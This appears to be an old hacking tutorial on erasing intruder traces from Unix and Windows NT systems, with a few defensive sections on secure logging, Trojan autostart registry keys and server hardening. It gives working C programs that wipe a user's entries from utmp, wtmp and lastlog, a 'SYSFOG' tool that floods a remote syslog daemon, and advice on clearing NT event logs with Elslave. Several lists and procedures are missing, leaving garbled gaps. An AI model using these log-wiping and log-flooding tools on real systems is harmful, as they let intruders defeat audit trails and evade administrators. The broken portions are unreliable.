The syslog daemon is the daemon, which is used to log all system activity of all users, whether it is kernel messages, system messages, commands, logins/logouts etc. It is this program, which is the dread of all attackers. The function of the syslog daemon is to log all kinds of system activity to a file or to a loghost. However, the question that arises is as to how does the syslog daemon come to know as to where exactly the system activity has to be logged. All Unix systems have a default log files’ path list, which represents the default paths where the log files would be stored as long as the system administrator does not change these default paths to new customized paths. Thus, in order to obtain a list of paths where various log files are being stored on that particular system, one can to look to the syslog.conf file, which holds the key to this question.
You can find the syslog daemon at: /usr/sbin/syslogd
*******************
******************
The Syslog.conf File
Although syslog is the main daemon which handles logging, however, it is helped and directed by the syslog.conf file to a great extend. It is the syslog.conf file, which tells the syslog daemon as to, which activity has to be logged and also as to, in which file or log host, that particular activity must be logged. In other words, we can say that each time an event takes place, the syslog daemon calls upon the syslog.conf file. This file then searches for an entry corresponding to the event that just took place and returns the full path of the log file, where the occurred event must be logged.
Thus we can say that, one can find out as to where their operating system is logging all the user activity, by simply studying the syslog.conf file. This means that to find out the filename or the log host to which the log files are being stored, one simply has to look at the syslog.conf file.
The typical structure of the /etc/syslog.conf file is as follows (For a complete description of this file, please read the succeeding sections.):
--------------------
# Typical modern syslog configuration file. # Log all kernel messages to the console. # Logging much else clutters up the screen. #kern.* /dev/console
# Log anything (except mail) of level info or higher. # Don't log private authentication messages! *.info;mail.none;authpriv.none /var/log/messages
# The authpriv file has restricted access. authpriv.* /var/log/secure
# Log all the mail messages in one place. mail.* /var/log/maillog
# Everybody gets emergency messages, plus log them on another # machine. *.emerg /dev/console
# Save mail and news errors of level err and higher in a # special file. uucp,news.crit /var/log/spooler --------------- Before we move onto the explanation of the above syslog.conf file, we need to understand the mechanism of the Event-Log Location pair. A typical syslog.conf file’s event-log location pair looks like below: event Log Location Where the spaces, which separate the two, is the tab key and not the spacebar key. Such an EVENT-LOG LOCATION entry in a syslog.conf file means that each time the event EVENT takes place, then it should be logged in the location LOG LOCATION. Let us take some examples to better understand what typical Event-Log Location pair signifies.
1. mail.* /var/log/maillog This syslog.conf entry means that all mail messages of all levels, should be logged to the file /var/log/maillog. 2. auth.notice /var/adm/authlog
The above syslog.conf entry means that all Authentication attempts should be logged to file /var/adm/authlog
3. *.emerg /dev/console
This entry means that all emergency messages should be displayed to the console.
In our example syslog.conf file there are various examples of the event-log location pairs (separated by comments). Some of these pairs, which logs the event-taking place in the log-location specified are:
Event Log Location
*.info;mail.none;authpriv.none /var/log/messages authpriv.* /var/log/secure mail.* /var/log/maillog *.emerg /dev/console uucp,news.crit /var/log/spooler
In the above table, we find that there are certain events, which when occurred are reported on the screen or the console. However, the events in which an intruder would be interested in are those, which are logged to a particular file or log location.
Typically, by default, almost all log files are located in the /var/log directory. On getting a listing of this directory, we find that there is a long list of log files, which stores logged data. Some of the main ones would be as below: (Some of the files showed below, also belong to other directories.)
Log File Use
/var/maillog logs Mail Messages /var/spooler News and Mail Errors /var/secure *TCP Wrappers Log File /var/messages *logs everything, except mails. /var/adm/wtmp *logs all Logins and logouts /etc/utmp *Similar to the above log file. /var/adm/lastlogin *logs information about last logins /var/xferno *yet another logging file
**************** ****************
Please note that those log files whose use field is preceded with a ‘*’ (in the above table) are those log files which are of interest to an intruder, as they are the files which give away his identity, activities and more. An intruder would thus want to edit or manipulate all these files (with the *), so as to remove all traces left by him on the compromised system.
However, one thing to remember here, is that system administrators often change the default location of the log files to make the job of finding and manipulating them becomes more difficult for the intruder. Thus, one has to change the C programs given below according to the actual path where that particular log files are stored.
Removing Traces from the /etc/utmp file
The following C program demonstrates as to how one can remove all traces from the /etc/utmp file by username or user number:
-------------------
#include <utmp.h> #include <stdio.h> #include <sys/file.h> #include <sys/fcntlcom.h>
void usage(name) char *name; { printf(stdout, "Usage: %s [ username ] or [ tty user number ]\n", name); exit(1); }
main(argc,argv) int argc; char **argv; { int fd; struct utmp utmp; int size; int match, tty = 0;
if (argc!=2) usage(argv[0]);
if ( !strncmp(argv[1],"tty",3) ) tty++;
fd = open("/etc/utmp",O_RDWR); if (fd >= 0) { size = read(fd, &utmp, sizeof(struct utmp)); while ( size == sizeof(struct utmp) ) { if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) : ( !strcmp(utmp.ut_name, argv[1]) ) ) { lseek( fd, -sizeof(struct utmp), L_INCR ); bzero( &utmp, sizeof(struct utmp) ); write( fd, &utmp, sizeof(struct utmp) ); } size = read( fd, &utmp, sizeof(struct utmp) ); } } close(fd); } -------------------
*****************
.bash_history.
In order to ensure that the attacker leaves absolutely no traces on the compromised system, then he has ensure that all the commands that he typed are manually deleted from the shell prompt’s log file, by editing the log file in a text editor. ****************
Removing Traces from the /var/adm/wtmp and /var/adm/lastlogin files
The following C program demonstrates as to how one can remove all traces from the /var/adm/wtmp, /var/adm/lastlogin and /etc/utmp files by username or user number:
---------------------- /* invisible.c - a quick hack courtesy of the rogue */ /* erases your presense when root, or partially erases when on a sun and not root */
#include <fcntl.h> #include <utmp.h> #include <sys/types.h> #include <unistd.h> #include <lastlog.h>
main(argc, argv) int argc; char *argv[]; { char *name; struct utmp u; struct lastlog l; int fd; int i = 0; int done = 0; int size;
name = (char *)(ttyname(0)+5); size = sizeof(struct utmp);
fd = open("/etc/utmp", O_RDWR); if (fd < 0) perror("/etc/utmp"); else { while ((read(fd, &u, size) == size) && !done) { if (!strcmp(u.ut_line, name)) { done = 1; memset(&u, 0, size); lseek(fd, -1*size, SEEK_CUR); write(fd, &u, size); close(fd); } } } memset(&u, 0, size); fd = open("/var/adm/wtmp", O_RDWR | O_TRUNC); if (fd < 0) perror("/var/adm/wtmp"); else { u.ut_time = 0; strcpy(u.ut_line, "~"); strcpy(u.ut_name, "shutdown"); write(fd, &u, size); strcpy(u.ut_name, "reboot"); write(fd, &u, size); close(fd); } size = sizeof(struct lastlog); fd = open("/var/adm/lastlog", O_RDWR); if (fd < 0) perror("/var/adm/lastlog"); else { lseek(fd, size*getuid(), SEEK_SET); read(fd, &l, size); l.ll_time = 0; strncpy(l.ll_line, "ttyq2 ", 5); gethostname(l.ll_host, 16); lseek(fd, size*getuid(), SEEK_SET); write(fd, &l, size); close(fd); }
} ----------------------- One can check to see whether or not the above program has been successful or not, by following the below procedure:
Removing Traces from the /var/secure, /var/messages and /var/xferno files
Removing all traces left behind in these log files, is as simple as below: <>1.2.3.Implement Secure Logging:
One should try and use secured or encrypted log files. What this means is to use system-logging utilities, which rather than storing the log files in plaintext, encrypt the log data, hash it, and then store it. One such popular tool is msyslog, which promises to be a replacement for syslogd and klogd, with the added advantage of being more secure and being able to store the log files in encrypted and hashed forms. Get the msyslog utility at: http://www.core-sdi.com/soft/msyslog-v1.01.tar.gz.
One should try and implement log files in append mode only. This means that entries cannot be removed from the log files, but only more entries can be added to them. This means that the intruder can only add entries to the log files and not remove any entries. However, this solution is not a foolproof one.
---------------------- SYSLOG Fogger - Fill Disk Space, Send Messages, Whatever. v1.1 - Written by Matt ( This e-mail address is being protected from spambots. You need JavaScript enabled to view it )
#include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h>
#define MAXLINE 512
dg_cli(fp, sockfd, pserv_addr, servlen) FILE *fp; int sockfd; struct sockaddr *pserv_addr; int servlen; { int n; char sendline[MAXLINE], recvline[MAXLINE+1];
while(fgets(sendline, MAXLINE, fp) != NULL) { n = strlen(sendline); if (sendto(sockfd, sendline, n, 0, pserv_addr, servlen) != n) { fprintf(stderr,"dg_cli: sendto error on socket\n");exit(1);} } if (ferror(fp)) { fprintf(stderr,"dg_cli: error reading file\n");exit(1);} }
main(argc, argv) int argc; char *argv[]; { int sockfd; struct sockaddr_in serv_addr, cli_addr;
if (argc != 2) { printf("\nSYSFOG v1.1 - (written by This e-mail address is being protected from spambots. You need JavaScript enabled to view it )\n"); printf("Usage: %s target-ip-number\n",argv[0]); printf("\n-- Reads STDIN, sends to \"target-ip-numbers\" "); printf("syslog daemon.\n"); printf("To send certain types of messages, use the number found\n"); printf("below in brackets. IE, \"<0>This is a LOG_EMERG\"\n"); printf("-----------------------------------------------------------\n"); printf("From SUNOS /usr/include/syslog.h\n"); printf("-----------------------------------------------------------\n"); printf("LOG_EMERG 0 /* system is unusable */\n"); printf("LOG_ALERT 1 /* action must be taken immediately */\n"); printf("LOG_CRIT 2 /* critical conditions */\n"); printf("LOG_ERR 3 /* error conditions */\n"); printf("LOG_WARNING 4 /* warning conditions */\n"); printf("LOG_NOTICE 5 /* normal but signification condition */\n"); printf("LOG_INFO 6 /* informational */\n"); printf("LOG_DEBUG 7 /* debug-level messages */\n"); printf("-----------------------------------------------------------\n\n"); exit(0); } bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = inet_addr(argv[1]); serv_addr.sin_port = htons(514);
/* Open UDP socket */ if ((sockfd=socket(AF_INET, SOCK_DGRAM,0)) <0) { fprintf(stderr,"sysfog: Can't open UDP Socket\n");exit(1);}
bzero((char *) &cli_addr, sizeof(cli_addr)); cli_addr.sin_family = AF_INET; cli_addr.sin_addr.s_addr = htonl(INADDR_ANY); cli_addr.sin_port = htons(0); if (bind(sockfd, (struct sockaddr *) &cli_addr, sizeof(cli_addr)) <0) { fprintf(stderr,"sysfog: Can't bind local address\n");exit(1);}
dg_cli(stdin, sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
close(sockfd); exit(0); } -------------------
Removing Footprints/Traces from a Windows NT system
An intruder can easily remove all his traces from a compromised Windows NT system, by simply manually clearing the entire Event Log, using the Event Viewer tool. However, if one tries to manually clear the log file through the Event Viewer, then the message saying, “Event Log cleared” is also added to the event log file. Thus, the system administrator would immediately come to know that something is wrong.
A better alternative is the use of tools like Elslave, which will clear the Event Log file on a Windows NT system. However, again there is the risk of the system administrator finding out that something is wrong.
Trojan/Key Logger Attacks
A Trojan is nothing but a tool, which when installed on a system, can be misused for malicious purposes by the attacker. It is a program, which the attacker installs on the target system with the help of trickery or by inserting the malicious Trojan code into a ‘trusted’ normal tool or by having physical access to the target system. Trojans are malicious programs, which are capable of doing a lot of harm to the victim, if the attacker is skilled enough. Trojans have many harmful features attached to them, some of which are:
Thus, the threat of Trojan attacks is very widespread and massive. It is thus important for everyone to understand as to how exactly Trojans work and how one can counterattack.
Trojans: The Working
Almost all Trojans (with the exception of the Key loggers, Password Stealers etc) are made up of the following parts-:
To actually trojanize the target system, the attacker follows the following steps:
For Example,
The Netbus Trojan is known to be listening for connections on Port 12345.
Detection of Trojans
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Shell Folders]"Common Startup"="C:\windows\start menu\programs\startup"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders] Startup="C:\windows\start menu\programs\startup"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders] Startup="C:\windows\start menu\programs\startup"
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\User Shell Folders]"Common Startup"="C:\windows\start menu\programs\startup"
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices] Thus by monitoring all of these and many more places, where references can make the referred tool execute or run automatically each time Windows runs, one can indeed detect the presence of Trojan tools.
Countermeasures
Securing your systems
Although it is very difficult to give a system 100% security, however, there are certainly certain steps, which one can take to increase the level of security of their system. In this section, we discuss just these steps.
Securing a standalone Home System
One thing to remember here is that Computer Security should definitely be taken seriously, but one should definitely not take it overly seriously.
Securing a system acting as a server
If you are managing a server, then one has to watch out for the following attacks:
The steps that one can employ to improve the security of a server are as follows:
Please note that one could keep on adding steps to the above list, but still not fully secure a server. Thus, what I mean to say is that the above list is just a part of the entire list of steps that one must employ to secure ones system.
|
